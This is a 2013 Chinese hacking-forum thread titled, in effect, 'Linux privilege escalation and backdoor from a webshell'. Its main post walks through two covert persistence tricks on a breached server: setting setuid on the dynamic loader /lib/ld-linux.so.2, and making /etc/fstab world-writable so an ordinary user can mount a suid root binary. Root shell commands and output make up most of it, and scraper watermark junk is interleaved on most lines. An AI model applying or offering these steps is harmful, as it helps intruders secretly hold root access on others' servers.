找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3161|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
; O  z* b( v1 ^& r! y
. L6 O' q- ^. q! Z0 v1 _- l4 t/ C[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
) l( `5 f& p0 d5 |. h2 llrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
6 L- n4 m, `* k* d4 q4 t' G6 u3 A3 i' ?lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
& z, b; }# s9 ]! e[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究' k# t" m6 _% U: H
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究) j7 L7 r3 }' y9 Z- f
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
; F  g- t9 z6 b4 `: T( R9 Mlrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究( S$ `) H# y' }# I7 E# o1 ^9 K
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
" O) {) i0 |7 w  R3 W$ T我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究( M" F1 s9 [4 t$ p
7 T3 j' @: C- h7 r
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
; V, F5 v' `5 h$ I# \, g6 Y. u# u, x2 Q2 A' C5 K
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
+ q/ A# l5 [4 a4 O* f. J0 e4 }xiaoyu2ezX-BUG-关注前沿信息安全技术研究
/ |+ s9 c3 Y5 f$ T[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
. L2 r) D. S( b( {2 eroot2ezX-BUG-关注前沿信息安全技术研究
9 W2 `# e3 B( B[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
* o" B5 H$ Y9 e2 C& O* i# b" e  P恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究+ _- J7 X% S# C2 U1 d0 ?

/ L/ l9 b  M- G2 _) X' o$ M! c) {方法二:2ezX-BUG-关注前沿信息安全技术研究3 O7 L% N; o% ?2 i( e7 F
" ~5 P# x. O! U9 Q
看过程:2ezX-BUG-关注前沿信息安全技术研究
7 @: @7 x& s2 O$ v% q
- E: _. m# H/ E8 }/ ^[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究7 ^) k0 T# |) U- a* t1 A
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究
9 C% j% m6 y5 I( |; p/ c: i' N8 f% |- S. f
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
# K4 o; o# n  O+ F0 ]0 o% i4 w. _: ?3 x
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究: b& t" v8 D1 q$ V
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
. L: A" ^7 ^; h; r3 J3 s4 P3 l[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究0 \* k$ V6 [. P: k  M3 m

& b0 A, T0 C2 w! J6 W4 N) c然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究  L' y5 V/ n" Z. T9 C

( ?7 \: s# x, U( ?( g[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究: H& D- M2 z5 J; ^0 E5 R5 J
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
2 g# t) O6 x. o  n, W[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
% m6 h% N& P/ @' C1 P- k5 E# u[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
3 d2 r4 `& b& f9 H' a[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究- A- A% r; k0 w5 Z; B
total 182ezX-BUG-关注前沿信息安全技术研究
( Z9 F8 V+ c' e1 `9 r# |" a( Ydrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究4 V1 p2 _4 R) p2 I' u
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
1 Z* X8 n  F2 y[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
3 D# _: J. v# qsh-3.2#2ezX-BUG-关注前沿信息安全技术研究
, |$ P/ T0 m4 h2 M! U1 D看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
! f3 k8 D% ~$ l) Ntest这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究% L8 y2 u' N2 C$ V& E; c* @

& Q) Z# D6 |- L% r# C& X貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究
$ l. v, I3 e$ p+ V1 z; j. f5 _; s2ezX-BUG-关注前沿信息安全技术研究7 r/ v7 v9 O3 V5 y  ?3 x% e5 n) }- Q& {
! T" m# b% d% L) {# L6 i! c0 ]. i
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表